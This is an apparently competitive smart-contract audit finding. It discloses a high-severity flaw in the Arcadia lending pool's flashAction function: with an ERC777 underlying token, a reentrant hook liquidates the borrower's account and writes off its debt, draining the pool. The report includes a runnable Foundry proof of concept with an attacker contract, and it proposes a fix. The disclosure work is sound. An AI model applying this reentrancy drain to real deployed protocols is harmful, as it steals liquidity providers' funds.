Square Pickle Wren

high

# Lending pools with ERC777 as an underlying asset can be drained

## Summary
Lending pools that have an ERC777 token as an underlying asset can be drained via [LendingPool::flashAction()](https://github.com/sherlock-audit/2023-12-arcadia/blob/main/lending-v2/src/LendingPool.sol#L529).

## Vulnerability Detail
The function [LendingPool::flashAction()](https://github.com/sherlock-audit/2023-12-arcadia/blob/main/lending-v2/src/LendingPool.sol#L529) first mints debt shares to the account, then transfers the underlying token to the `actionTarget` and finally calls [AccountV1::flashActionByCreditor()](https://github.com/sherlock-audit/2023-12-arcadia/blob/main/accounts-v2/src/accounts/AccountV1.sol#L723):
```solidity
function flashAction(uint256 amountBorrowed, address account, address actionTarget, bytes calldata actionData, bytes3 referrer) external whenBorrowNotPaused processInterests {
    ...
    _deposit(amountBorrowedWithFee, account);
    ...
    asset.safeTransfer(actionTarget, amountBorrowed);
    ...
    uint256 accountVersion = IAccount(account).flashActionByCreditor(actionTarget, actionData);
    ...
}
```

After the tokens have been sent to `actionTarget` via [asset.safeTransfer(actionTarget, amountBorrowed)](https://github.com/sherlock-audit/2023-12-arcadia/blob/main/lending-v2/src/LendingPool.sol#L567), the [actionTarget::tokensReceived()](https://eips.ethereum.org/EIPS/eip-777#hooks) hook is called by the ERC777 token and the `actionTarget` takes control of the call flow, at this point the state is the following:
- `account` has `amountBorrowed` amount of debt
- `account` has no collateral 
- `actionTarget` has `amountBorrowed` tokens

Because `account` has debt but no collateral, it's considered by the protocol as liquidatable. The `actionTarget` can:
1. Call [Liquidator::liquidateAccount()](https://github.com/sherlock-audit/2023-12-arcadia/blob/main/lending-v2/src/Liquidator.sol#L199), which will put the account up for auction
2. Call [Liquidator::endAuction()](https://github.com/sherlock-audit/2023-12-arcadia/blob/main/lending-v2/src/Liquidator.sol#L405), which will end the auction immediately and will write off all the current debt of the account as bad debt

After this `actionTarget` returns and the call to [AccountV1::flashActionByCreditor()](https://github.com/sherlock-audit/2023-12-arcadia/blob/main/accounts-v2/src/accounts/AccountV1.sol#L723) gets executed, which will succeed because `account` will be healthy since it has no debt.

The end result is that `actionTarget` kept all of the borrowed tokens and effectively stole liquidity from the pool.

### POC
I wrote a runnable POC that requires some setup to work:
1. Add the following function to `lending-v2/lib/accounts-v2/test/utils/mocks/tokens/ERC20MOCK.sol` to simulate a ERC777 token:
```solidity
function transfer(address to, uint256 amount) public override returns (bool) {
    super.transfer(to, amount);
    to.call(abi.encodeWithSelector(bytes4(keccak256("customCallback()"))));
    return true;
}
```
2. Add the following interface and contract in `lending-v2/test/fuzz/LendingPool/FlashAction.fuzz.t.sol` (I hardcoded the liquidator and account contract addresses for simplicity, might need to adjust them):
```solidity
interface ILiquidator {
    function liquidateAccount(address account) external;
    function endAuction(address account) external;
}
contract CustomActionTarget {
    function executeAction(bytes calldata actionData) external returns (ActionData memory) {
        (ActionData memory depositData, address[] memory to, bytes[] memory data) = abi.decode(actionData, (ActionData, address[], bytes[]));
        return depositData;
    }

    function customCallback() external {
        //Liquidate the account and end the auction right after
        //Liquidator address                                                   //Account address
        ILiquidator(0x04E25fA0D07EA7A8231986B952556fE303c44A11).liquidateAccount(0x9a329f05fF47Cb3d812B241f36493A9eeBc4aba5);
        ILiquidator(0x04E25fA0D07EA7A8231986B952556fE303c44A11).endAuction(0x9a329f05fF47Cb3d812B241f36493A9eeBc4aba5);
    }
}
```
3. Add the following function to `lending-v2/test/fuzz/LendingPool/FlashAction.fuzz.t.sol`:
```solidity
function testSuccessFlashActionDrainPool() public {
    //The lending pool:
    //- has as underlying asset a ERC777 token
    //- has `1000e18` tokens of liquidity provided by a liquidity providers
    vm.prank(users.liquidityProvider);
    mockERC20.stable1.approve(address(pool), type(uint256).max);
    vm.prank(address(srTranche));
    pool.depositInLendingPool(1000e18, users.liquidityProvider);

    //The account `proxyAccount`, owned by `users.accountOwner`:
    //- has set as a creditor the lending pool
    //- has no collateral
    //
    //`users.accountOwner` deploys a `CustomActionTarget`, when `flashAction` transfers the ERC777 token an external call to the `CustomActionTarget` will be executed which will:
    //- Start a liquidation on `proxyAccount`
    //- End the auction immediately after
    CustomActionTarget actionTarget = new CustomActionTarget();
    vm.prank(users.accountOwner);
    pool.flashAction(1000e18, address(proxyAccount), address(actionTarget), callData, emptyBytes3);

    //`actionTarget` has all the funds and the pool is empty
    assertEq(mockERC20.stable1.balanceOf(address(actionTarget)), 1000e18);
    assertEq(mockERC20.stable1.balanceOf(address(pool)), 0);
}
```

Run the test with `forge test --match-test testSuccessFlashActionDrainPool`.

## Impact
Any lending pool with a fully compliant ERC777 token as an underlying asset can be drained. 

## Code Snippet

## Tool used

Manual Review

## Recommendation
Execute the token transfer to the `actionTarget` inside [AccountV1::flashActionByCreditor()](https://github.com/sherlock-audit/2023-12-arcadia/blob/main/accounts-v2/src/accounts/AccountV1.sol#L723), this way the `nonReentrant` modifier of [AccountV1::flashActionByCreditor()](https://github.com/sherlock-audit/2023-12-arcadia/blob/main/accounts-v2/src/accounts/AccountV1.sol#L723) will block the attack because a downstream call of [Liquidator::liquidateAccount()](https://github.com/sherlock-audit/2023-12-arcadia/blob/main/lending-v2/src/Liquidator.sol#L199) will execute [AccountV1::startLiquidation()](https://github.com/sherlock-audit/2023-12-arcadia/blob/main/accounts-v2/src/accounts/AccountV1.sol#L519) which also has a `nonReentrant` modifier.